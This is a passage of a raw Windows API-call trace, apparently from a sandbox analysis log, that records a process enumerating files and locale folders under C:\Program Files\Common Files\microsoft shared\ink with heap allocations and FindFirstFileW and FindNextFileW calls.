HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0054.745] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0054.745] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0054.745] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260680 [0054.745] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.745] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.746] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.746] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0054.746] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0054.746] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0054.746] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0054.746] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260380 [0054.746] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.746] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.746] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.746] FindClose (in: hFindFile=0x4260380 | out: hFindFile=0x4260380) returned 1 [0054.746] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0054.746] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0054.746] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd121ea9a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd121ea9a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0054.746] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0054.747] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0054.747] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260680 [0054.747] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.747] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e126ecb, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e126ecb, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e126ecb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.747] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e126ecb, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e126ecb, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e126ecb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.747] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0054.747] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0054.747] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0054.748] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0054.748] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260180 [0054.748] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.748] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.748] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.748] FindClose (in: hFindFile=0x4260180 | out: hFindFile=0x4260180) returned 1 [0054.748] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0054.748] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0054.748] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0054.748] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260680 [0054.750] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.750] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxpad", cAlternateFileName="")) returned 1 [0054.750] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.751] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42600c0 [0054.751] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.751] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0054.751] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0054.751] FindClose (in: hFindFile=0x42600c0 | out: hFindFile=0x42600c0) returned 1 [0054.751] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.751] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0054.751] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="insert", cAlternateFileName="")) returned 1 [0054.751] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.751] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\*", lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42606c0 [0054.752] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.752] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x0, cFileName="insertbase.xml", cAlternateFileName="")) returned 1 [0054.752] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x0, cFileName="insertbase.xml", cAlternateFileName="")) returned 0 [0054.752] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0054.752] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.752] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="insert.xml", cAlternateFileName="")) returned 1 [0054.752] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="keypad", cAlternateFileName="")) returned 1 [0054.752] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.752] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42606c0 [0054.753] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.753] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0054.753] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0054.753] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, 